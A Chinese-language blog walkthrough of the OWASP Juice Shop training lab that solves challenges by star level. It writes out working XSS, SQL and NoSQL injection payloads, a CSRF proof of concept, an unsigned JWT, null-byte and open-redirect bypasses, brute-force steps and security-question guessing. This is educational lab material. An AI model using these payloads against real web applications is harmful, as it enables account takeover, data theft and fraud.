靶场Juice-shop学习

1.安装

使用docker安装juice-shop

docker pull bkimminich/juice-shop

docker run --rm -p 3000:3000 bkimminich/juice-sop

浏览器访问http://localhost:3000即可,在右上角可以切换语言

image-20210212140725828

教程参考juice-shop

使用工具:burpsuite 、owasp zap、exiftool、OpenStego、race-the-web等

2. 一星 ⭐️

Score Board

考点:代码分析

点击 Help getting started 开始 ,提示需要F12查看页面源代码获取第一关提示。在源代码main-es2018.js搜索score得到如下

image-20210212144136666

在URL后添加score-board请求,通过

在第一次出现URL http://localhost:3000/rest/admin/application-configuration 也会出现

image-20210219094743331

暴露出页面URL

image-20210212144318201

Bonus Payload

考点:DOM XSS

在页面搜索框输入payload

<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>

即可通过

image-20210212145146047

Bully Chatbot

考点:暴力破解

回复机器人使用开源软件juicy-chat-bot

尝试输入coupon code、coupons、code等coupon code的组合进行暴力破解,可得

image-20210212150027238

优惠券代码为mNYT0f!Cal,通过

image-20210212145453341

Confidential Document

考点: 目录遍历

关于我们中有一行特殊的句子,点击链接,发现一个ftp服务

http://localhost:3000/ftp/legal.md

image-20210212150251591

进入ftp目录,发现很多文件

image-20210212150545233

点击acquisitions.md

image-20210212153308560

阅读机密文件,即可通过

image-20210212153023591

DOM XSS

考点:DOM XSS

搜索框中输入payload

<iframe src="javascript:alert(xss)">

弹窗即可通过

image-20210212153751103

Error Handling

常见404、403、500错误都可以通过

image-20210212154026981

Exposed Metrics

考点:敏感信息泄露

链接常见监测软件 (github.com),可知使用prometheus作为检测工具

默认后端入口http://localhost:3000/metrics ,请求即可通过

image-20210212154627571

image-20210212154807557

Missing Encoding

考点:前端修改

照片墙上 上传的照片没有正确编码,通过前端修改使其正常显示

image-20210212154942320

F12查看页面源码,对比正常显示的图片,构成图片的链接中特殊字符未编码 , 无法读取

# <- URL编码-> %23

image-20210212155335908

结果如下

image-20210212155654265

即可通过

image-20210212155723751

Outdated Allowlist

考点:代码分析 重定向

查看源代码在 main-es2018.js,搜索redirect(重定向)发现URL

image-20210212161310096

请求http://localhost:3000/redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm 即可通过

image-20210212161444769

Privacy Policy

登录之后,阅读隐私政策,即可通过

image-20210212161640815

Repetitive Registration

看点: 前端修改

关闭注册button的重复验证,不重复密码就可以注册账户,通过

image-20210212162106770

DRY原则 = Don’t repeat youself

image-20210212162337096

Zero Stars

看点:前端绕过

image-20210212162730755

burp拦截修改评分rating值为0,即可通过

image-20210212162554353

image-20210212162905587

3. 二星 ⭐️⭐️

Admin Section

在mian-es2015.js 搜索admin发现

image-20210212170659397管理员登录请求,即可通过

http://localhost/#/administration (这个页面名在英语下好猜)

image-20210212164508310

image-20210212164605212

Deprecated Interface

考点:代码分析

投诉页面查看源代码,搜索B2B

image-20210212164927210

除了可以上传PDF、ZIP文件,还可上传xml文件,上传一个xml文件即可通过

B2B接口应该是指上传接口

image-20210212165152452

Five-Star Feedback

进入管理页面,删除即可通过

image-20210212165659311

image-20210212165741011

Login Admin

考点:注入 万能密码

使用万能密码即可登录管理员账户,即可通过

'or 1=1 --

image-20210212165907068

image-20210212170018058

Login MC SafeSearch

考点:敏感信息泄露 社会工程

谷歌搜索MC SafeSearch,是一个YouTobe音乐视频Protect Ya’ Passwordz。

1606312794_5fbe635a02f0d4243dd2f.png!small?1606312797658

“But then how do you remember is the question that I get I say why not use the first name of your favorite pet?Mine’s my dog,** Mr. Noodles**. It don’t matter if you know because I was tricky andreplaced some vowels with zeroes.

Mr.Noodles <-0替换元音->Mr.N00dles

mc.safesearch@juice-sh.op / Mr. N00dles

image-20210212171921559

Meta Geo Stalking

考点: 社会工程

忘记john的密码,密保问题最喜欢远足的地方

查看照片墙,有一位twitter账号为johNny发布的图片,他应该就是john

image-20210212172102515

图片下载后获取图片GPS信息

36 deg 57’ 31.38" N, 84 deg 20’ 53.58" W

通过转换为经纬度:-84.348217,36.958717。然后去百度地图反查地址。得到答案是Daniel Boone National Forest

image-20210212172936736

Password Strength

考点:暴力破解

使用burp爆破管理员账号,得到密码为admin123,登录即可通过

image-20210212173110643

Security Policy

考点:security.txt

访问http://localhost:3000/security.txt 即可通过

image-20210212173256615

security.txt:渗透测试人员如何报告漏洞的描述文件

放在网站根目录下
/.well-known/ /.well-known/security.txt /security.txt /.well-known/

image-20210212173327110

View Basket

考点:越权

修改添加购物车链接身份标识即可通过

image-20210212174020175

image-20210212174122828

Visual Geo Stalking

考点:社会工程

忘记emma密码,密保问题 年轻时第一个工作的公司

照片墙 twitter账号为 e=ma^2,应该是emma

image-20210212174520959

左边中间窗户有海报 可得 ITsec

image-20210212175116472

Weird Crypto

反馈z85、base85、base64、md5、hashid都可以

  • Forge a coupon code that gives you a discount of at least 80%关 使用z85算法加密

  • Solve challenge #999关 使用hashid加密

  • 数据库Users表中的密码使用没有加salt的MD5算法

  • 使用Google账户登录涉及base64加密算法

image-20210212175156738

3. 三星 ⭐️⭐️⭐️

Admin Registration

在新用户注册处修改请求体,添加

"role":"admin" 即可通过

测试

image-20210212180921686

Bjoern’s Favorite Pet

考点: 社会工程

bjoern@owasp.org 密保问题 宠物的名字

https://youtu.be/Lu0-kDdtVf4?t=239 视频中可得 Zaya是他宠物的名字

image-20210212181507543

CAPTCHA Bypass

burp抓取反馈请求

http://localhost:3000/api/Feedbacks/ 重放10次即可通过

image-20210212181709601

CSRF

考点:CSRF

伪造一个来自Real-time HTML Editor (squarefree.com) (在线HTML编辑器)的修改用户名的请求

1.直接修改正常的请求 Referer值为http://htmledit.squarefree.com/即可通过

2.在Real-time HTML Editor (squarefree.com) 编辑CSRF POC,也可以使用Burp自动生成

<form action="http://localhost:3000/profile" method="POST">
  <input name="username" value="CSRF"/>
  <input type="submit"/>
</form>
<script>document.forms[0].submit();</script>

image-20210212182511716

Database Schema

考点:sqlite

搜索框注出数据库结构,错误信息提示使用sqlite数据库

payload为 '))UNION+SELECT+sql,'2','3','4','5','6','7','8','9'+FROM+sqlite_master--

image-20210212183235815

sqlite: sqlite_master是共有的表,存在sql字段类似MySQL的information_schema

image-20210212183500219

Deluxe Fraud

考点:绕过

修改 http://192.168.1.150:3000/rest/deluxe-membership 请求paymentMode值为none,即可通过

image-20210212183703068

image-20210212183857449

Forged Feedback

1.burp截取

http://localhost:3000/api/Feedbacks/ 修改UserId即可

image-20210212183958168

2.前端修改,使上传表单UserId可以编辑删除 hidden,正常上传即可

image-20210212184700247

Forged Review

burp截取

http://localhost:3000/rest/products/1/reviews 修改author 值即可通过

image-20210212185221948

image-20210212185306599

GDPR Data Erasure

考点:sqlite

在登录界面使用' or deletedAt IS NOT NULL--登录

sqlite一段时间内删除的数据还可以访问

image-20210212185351172

Login Amy

考点:社会工程

amy的账号为amy@juice-sh.op

搜索93.83 billion trillion trillion centuries

你的针藏的有多好?网站里发现

image-20210219111255091

可得一个示例密码 D0g…

得到最终密码为 K1f…

amy wang出自动画片《飞出个未来》,她的丈夫是Kif Kroker

image-20210212185612760

Login Bender

考点:sqlite

使用万能密码登录

’ or 1=1 limit 2,1--

image-20210212190038479

Login Jim

考点:sqlite

使用万能密码登录

’ or 1=1 limit 1,1--

image-20210212190834142

Manipulate Basket

burp截取添加购物车请求

http://192.168.1.150:3000/api/BasketItems/ 再添加一个BasketId即可

image-20210212191338420

image-20210212190900960

Payback Time

burp截取

http://192.168.1.150:3000/api/BasketItems/ 修改quantity值为负数,正常支付即可通过

image-20210212192210577

image-20210212191428661

Privacy Policy Inspection

隐私政策中存在特殊css

image-20210212192513461

可以得到 http://localhost We may also instruct you to refuse all reasonably necessary responsibility

请求 http://localhost:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility 即可通过

image-20210212192748754

Product Tampering

修改跳转链接为https://owasp.slack.com

任选一个请求修改为PUT

使用接口 /api/Products/9 可以更改了商品描述,请求头需要添加content-type

Headers  ->  Content-Type:application/json
Body ->  
{"description": "<a href=\"https://owasp.slack.com\" target=\"_blank\">More...</a>"}

image-20210212192822543

Reset Jim’s Password

账号jim@juice-sh.op 密保问题 哥哥的中间名

账号中保存的地址

123

jim 应该是星际迷航的角色 James Tiberius Kirk,剧中他的兄弟是George Samuel Kirk

image-20210212193134651

Upload Size

考点:前端绕过

上传一个不满100kb的文件,使用burp截取在文件中增加到100kb以上即可

!文件超过200kb就会报错

image-20210212194405833

Upload Type

考点:前端绕过

上传正常文件,修改文件后缀即可

image-20210212194709390

4.挑战4星⭐️⭐️⭐️⭐️

Access Log

考点:暴力破解

使用 The OWASP ZAP进行暴力破解,遍历所有目录

访问 http://localhost:3000/support/logs 即可通过

image-20210212195151018

image-20210212195227284

Allowlist Bypass

上文中有关于重定向的问题,可以重定向到

https://localhost:3000/redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm

重定向的地址设置了白名单,构造语句让重定向的后面不变,将重定向的地址隐藏在URL中

https://localhost:3000/redirect?to=https://www.baidu.com?https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm

请求即可定向到任意地址

image-20210212200557698

Christmas Special

考点:sqlite

这个优惠应该与上文删除的账号一样,通过 --注释掉语句即可

将数据库中所有的数据都查询出来

image-20210212202536538

image-20210212202632143

正常购买,即可

image-20210212201838631

Easter Egg

ftp目录下有eastere.gg文件,绕过下载可得

“Congratulations, you found the easter egg!”

  • The incredibly funny developers

Oh’ wait, this isn’t an easter egg at all! It’s just a boring text file! The real easter egg can be found here:

L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==

Good luck, egg hunter!

base64解码后可得/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt

ROT13 解码此成/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg

访问即可通过

ROT13 是凯撒密码的一种变形,简易的置换暗码

image-20210212202737439

Ephemeral Accountant

考点:sqlite

根据上文获取的Users表中的结构,登录时注释掉后面的语句,直接请求返回一个User的完整数据payload为

xxx' UNION SELECT 999, '', 'acc0unt4nt@juice-sh.op', 'password', 'accounting', '', '0.0.0.0', '/assets/public/images/uploads/default.svg', '', 1, '2020-08-15T18:22:49.161Z', '2020-08-15T18:22:49.161Z', null; --

image-20210212203537935

Expired Coupon

根据上文获取的优惠券代码mNYT0f!Cal 正常支付,可以得到

http://localhost:3000/rest/basket/1/checkout

image-20210212213246543

“couponData”:“bU5ZVDBmIUNhbC0xNjEzMDg0NDAwMDAw”

base64解码得到mNYT0f!Cal-1613084400000

查看源代码main-es2018.js,搜索campaign可得

image-20210212214450604

image-20210212215819460

WMNSDY2019-15519996e5 <-base64-> V01OU0RZMjAxOS0xNTUxOTk5NmU1

更改coupondata重放即可

image-20210212220131946

Forgotten Developer Backup

http://localhost:30000/ftp/pakage.json.bak%2500.md

%00截断下载即可通过

image-20210212223903255

Forgotten Sales Backup

http://localhost:3000/ftp/coupons_2013.md.bak%2500.md

image-20210212224058507

GDPR Data Theft

查看用户的个人数据,发现在保存订单数据时会将Email脱敏后保存,只要用户名脱敏后一样订单数据也是一样的

image-20210212224338751

新建一个用户邮箱为 jim@juoce-sh.op,获取了jim的个人数据,导出jim的数据后即可通过。

image-20210212224725697

image-20210212224855937

Legacy Typosquatting

上文在ftp目录找到开发人员的备份文件 package.json.bak其中有系统组件

在反馈中提交epilogue-js,即可通过

image-20210212225631471

Login Bjoern

Bjoern通过google账户注册了账号 bjoern.kimminich@googlemail.com

在源代码main-es2018.js中搜索OAuth,找到登录函数

image-20210212230448055

使用账号颠倒后进行base64编码就可以登录

moc.liamg@hcinimmik.nreojb<=>bjoern.kimminich@gmail.com bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=

image-20210212230641672

Misplaced Signature File

ftp目录下suspicious_errors.yuml文件

参考 SIEM签名文件

image-20210212231057456

image-20210212231142073

NoSQL Manipulation

考点:NoSQL

截取正常评论URL http://localhost:3000/rest/products/1/reviews

修改为PATCH方法,URL为http://localhost:3000/rest/products/reviews

添加请求体 { “id”: { “$ne”: -1 }, “message”: “NoSQL Injection!” }

注:HTTP头需要添加Content-Type: application/json

image-20210212231903492

image-20210212231339758

Poison Null Byte

%00截断下在ftp目录下非md、pdf文件即可

image-20210212232321709

Reset Bender’s Password

考点:社会工程

账户 bender@juice-sh.op 密保问题 成年后在哪工作

image-20210212233011391

根据地址 确定bender是 飞出个未来中的机器人班德

参考维基百科-班德维基百科-自杀电话亭

班德最开始工作在一个金属加工厂弯曲钢梁建设自杀电话亭。自从2008年出现自杀电话亭,最主要的品牌是Stop’n’Drop。

Bender

可以得知它的密保是 Stop’n’Drop

image-20210212232406444

Reset Uvogin’s Password

考点:社会工程

账户 uvogin@juice-sh.op 密保问题 最喜欢的电影

twitter上有个@uv0gin的账号,存在一条删除的推特显示最喜欢的电影是

Uvogin's Twitter Snapshot

Silence of the Lambs(沉默的羔羊)

image-20210212232421151

Steganography

image-20210212234053232

查看客户反馈发现只有一个反馈背景图片是png文件

img

使用OpenStego提取 图片隐藏数据,可以提取到

image-20210219141458972

Pickle Rick unveiled

这是Pickle Rick(泡菜瑞克)出自Rick_and_Morty(瑞克与莫蒂)

image-20210212233710314

User Credentials

考点:sqlite

遍历出所有的用户名/邮箱、密码

image-20210212235215421

在Users表中获取数据 payload

'))+UNION+SELECT+id,username,password,email,'5','6','7','8','9'+FROM+Users--

image-20210212235059291

Vulnerable Library

配置文件package.json.bak中搜索组件版本信息

可知

  • sanitize-html:HTML 字符串的规范化不会递归地应用于输入,从而允许攻击者可能注入脚本和其他标记(请参阅https://snyk.io/vuln/npm:sanitize-html:20160801)
  • express-jwt:从其依赖项继承身份验证旁路和其他漏洞(请参阅https://app.snyk.io/test/npm/express-jwt/0.1.3)

image-20210212235332777

5.五星挑战⭐️⭐️⭐️⭐️⭐️

Blockchain Hype

  1. 在浏览器的开发人员工具中打开 ,搜索一些关键字,如"ico",“令牌”,“比特币"或"altcoin”。main-es2015.js

  2. 请注意 JavaScript 函数的名称,这些函数发生在 和 中,如 和 。这些名称是混淆的,因此它们可能会有所不同。Vu()``Hu(l)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTSj2vyf-1613716853429)(https://github.com/bkimminich/pwning-juice-shop/raw/master/appendix/img/minified_js-tokensale.png)]

  3. 搜索 中对这些函数的引用可能会产生一些更多的函数,如和一些可能的路由名称main-es2015.js``zu(l)``app-token-sale

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cFcDFYTx-1613716853429)(https://github.com/bkimminich/pwning-juice-shop/raw/master/appendix/img/minified_js-tokensale_trail.png)]

  4. 导航到http://localhost:3000/#/app-token-sale或变体http://localhost:3000/#/token-sale只是为了意识到这些路由不存在。

  5. 经过一些更多的追逐通过分明代码,你应该意识到,在路由映射中引用,已经帮助查找仔细隐藏的"分数板"页面和访问存储的管理部分,但不是静态标题。它映射到另一个变量(可能以不同的方式命名您)Vu``Ca

    Tokensale route mapping in main-es2015.js

  6. 搜索以查找应将匹配器返回到要查找的路由名称的函数的声明。function Ca(

    Tokensale route matcher in main-es2015.js

  7. 将模糊函数复制到浏览器的 JavaScript 控制台中,并立即通过追加 执行。这可能会产生 一个 。当您将值传递时,喜欢 或 您会注意到输入值只是返回。()``Uncaught SyntaxError: Unexpected token )``(1)``('a')

  8. 将路由映射与其他映射进行比较表明,此处的 a 映射到 ,而大多数其他映射映射到其 。matcher``component``path``component

  9. 为您提供抢手路径的代码是传递到函数中的代码块!match()``Ca(l)

    Code block returning the Tokensale path

  10. 复制内部代码块并在主机中执行该代码块仍会产生错误!

  11. 您需要将它追加到一个字符串中,使其正常工作,这将最终生成路径。/tokensale-ico-ea

  12. 导航到http://localhost:3000/#/tokensale-ico-ea以解决此难题。

"" + function() {
                for (var l = [], n = 0; n < arguments.length; n++)
                    l[n] = arguments[n];
                var e = Array.prototype.slice.call(l)
                  , t = e.shift();
                return e.reverse().map(function(l, n) {
                    return String.fromCharCode(l - t - 45 - n)
                }).join("")
            }(25, 184, 174, 179, 182, 186) + 36669..toString(36).toLowerCase() + function() {
                for (var l = [], n = 0; n < arguments.length; n++)
                    l[n] = arguments[n];
                var e = Array.prototype.slice.call(arguments)
                  , t = e.shift();
                return e.reverse().map(function(l, n) {
                    return String.fromCharCode(l - t - 24 - n)
                }).join("")
            }(13, 144, 87, 152, 139, 144, 83, 138) + 10..toString(36).toLowerCase()

image-20210213000132316

image-20210213000157035

Change Bender’s Password

万能密码登录bender@juice-sh.op

截取更改密码请求URL

http://localhost:3000/rest/user/change-password?current=1&new=slurmCl4ssic&repeat=slurmCl4ssic 删除原密码仍可成功更改密码

image-20210213000620969

image-20210213000910174

Cross-Site Imaging

链接可爱的跨域小猫 (placekitten.com)

在高级成员页面查看页面源代码

image-20210213002831645

图片JuiceShop_Logo.png被连续引用,搜索源代码

image-20210213003646102

http://localhost:3000/#/deluxe-membership?testDecal=…%2F…%2F…%2F…%2Fredirect%3Fto%3Dhttps:%2F%2Fplacekitten.com%2Fg%2F400%2F500%3Fx%3Dhttps:%2F%2Fgithub.com%2Fbkimminich%2Fjuice-shop

通过重定向将链接图片复制给testDecal

image-20210213003922672

image-20210213003937905

Email Leak

API支持JSONP,添加URL参数callback返回一个JSONP数据

JSONP 只支持GET,必须要跨域

image-20210211152754635

image-20210213004208396

Extra Language

正常请求语言文件 http://localhost:3000/assets/i18n/zh_CN.json

image-20210211135810601

语言文件组成 区位代码_国家代码.json

暴力破解得到 tlh-AA

image-20210213010141786

tlh指克林贡语,星际迷航中人造的外星语

image-20210213004722887

Frontend Typosquatting

http://localhost:3000/3rdpartylicenses.txt 检索默认第三方许可证列表

image-20210213005050812

anuglar2-qrcode 在反馈中提交即可

image-20210213004851645

Kill Chatbot

image-20210211182808997

chatbot会读取用户名不进行过滤

image-20210211182919335

将用户名设为 admin"); process=null; users.addUser(“1337”, "test即可关闭chatbot

image-20210213005453607

Leaked Access Logs

在https://stackoverflow.com/questions/tagged/access-log搜索juice-shop得到

GET``161.194.17.103 - - [27/Jan/2019:11:18:35 +0000] “GET /rest/user/change-password?current=0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB&new=sjss22%@%E2%82%AC55jaJasj!.k&repeat=sjss22%@%E2%82%AC55jaJasj!.k8 HTTP/1.1” 401 39 “http://localhost:3000/” “Mozilla/5.0 (Linux; Android 8.1.0; Nexus 5X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36”

image-20210211141106542

对比哈希 J12934@juice-sh.op 0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB

image-20210213010451679

Login CISO

用OAuth 2.0 Login Ciso@juice-sh.op

添加自定义Http头

image-20210211125938472

image-20210213011202420

Reset Bjoern’s Password

账号 bjoern@juice-sh.op 密保问题 年轻时的邮政编码

bjoern是juice-shop的项目负责人,来自德国

邮政编码是 West-2082

image-20210213011241614

Reset Morty’s Password

账号 morty@juice-sh.op 密保问题 宠物的名字

猜测莫蒂是 莫蒂 史密斯 来自瑞克与莫蒂

Morty Smith

他莫蒂有一条狗叫snuffles或snowball

通过leet(黑客语)变形破解得到 结果5N0wb41L

image-20210213011256010

Retrieve Blueprint

*OWASP 果汁店徽标(3D 打印)产品的描述表明,该产品实际上可能具有某种蓝图,exif信息中OpenSCAD显示可能存在.stl文件

下载http://localhost:3000/public/images/products/JuiceShop.stl 成功

image-20210213012117237

Supply Chain Attack

Software Supply Chain Attack ???软件供应链攻击

从软件依赖中提交漏洞原始报告https://github.com/eslint/eslint-scope/issues/39

image-20210213012255446

Two Factor Authentication

通过注入得到 wustbrot@juice-sh.op的deluxe Token为IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH

通过TFA二步验证APP得到不断变化的6位验证码,登录即可

image-20210211161011716

image-20210213012344069

Unsigned JWT

jwtn3d@juice-sh.op的JWT令牌需要用base64url编码

推荐burp插件JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiJjb3Vwb24gY29kZSIsImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjEtMDItMTAgMTI6NDk6MjguMDg2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjEtMDItMTAgMTM6Mjc6MDMuMzU5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTYxMzAzNzY5MCwiZXhwIjoxNjEzMDU1NjkwfQ.

image-20210213012553765

6.六星挑战 ⭐️⭐️⭐️⭐️⭐️⭐️

Forged Coupon

阅读源码可知加密算法为Z85,优惠券构成为 月份缩写 年份数字-折扣

image-20210211191720196

image-20210211191659698

z85算法可以通过npm下载https://www.npmjs.com/package/z85-cli

npm install -g z85-cli

Forged Signed JWT

rsa_lord@juice-sh.op

爆破目录在(http://localhost:3000/encryptionkeys)找到密钥

image-20210211194100929

使用burp插件JWT修改电子邮件参数为 rsa_lord@juice-sh.op

1

Imaginary Challenge

在cookie中探索continueCode的生成机制

参考:Hashids - generate short unique ids from integers

 var hashids = new Hashids("this is my salt", 60, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");

  var id = hashids.encode(999);
  var numbers = hashids.decode(id);

  $("#input").text("["+numbers.join(", ")+"]");
  $("#output").text(id);

以PUT请求,http://192.168.1.150:3000/rest/continue-code/apply/69OxrZ8aJEgxONZyWoz1Dw4BvXmRGkM6Ae9M7k2rK63YpqQLPjnlb5V5LvDj

image-20210211202426702

image-20210213013044400

Login Support Team

ftp下有一个kdbx文件,是keepass的数据库使用

在源代码中搜索support

Support team login hint in minified JS

翻译后得到Support Team: Our secret is still common Caoimhe master password empty! 1.keepass数据库被一个文件保护着

2.Caoimhe 一个爱尔兰女性的名字

http://localhost:3000/assets/public/images/carousel/6.jpg

图片文件可以解锁

image-20210211193315808

image-20210213013106512

Multiple Likes

使用race-the-web,短时间连续请求时间差在150ms以内即可通过

image-20210211230906302

image-20210213013128758

Premium Paywall

解锁高级挑战 (blockchain.info)

审查元素得到密文

IvLuRfBJYlmStf9XfL6ckJFngyd9LfV1JaaN/KRTPQPidTuJ7FR+D/nkWJUF+0xUF07CeCeqYfxq+OJVVa0gNbqgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==

爆破目录在(http://localhost:3000/encryptionkeys)找到密钥

image-20210211194100929

为1337133713371337.EA99A61D92D2955B1E9285B55BF2AD42

image-20210211201615614

解密,结果**/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/only/be/unlocked/by/sending/1btc/to/us**

image-20210211195933545

image-20210213013151076

SSRF

在用户的个人资料处可以指定图片链接http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3 造成SSRF

image-20210213013217327

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐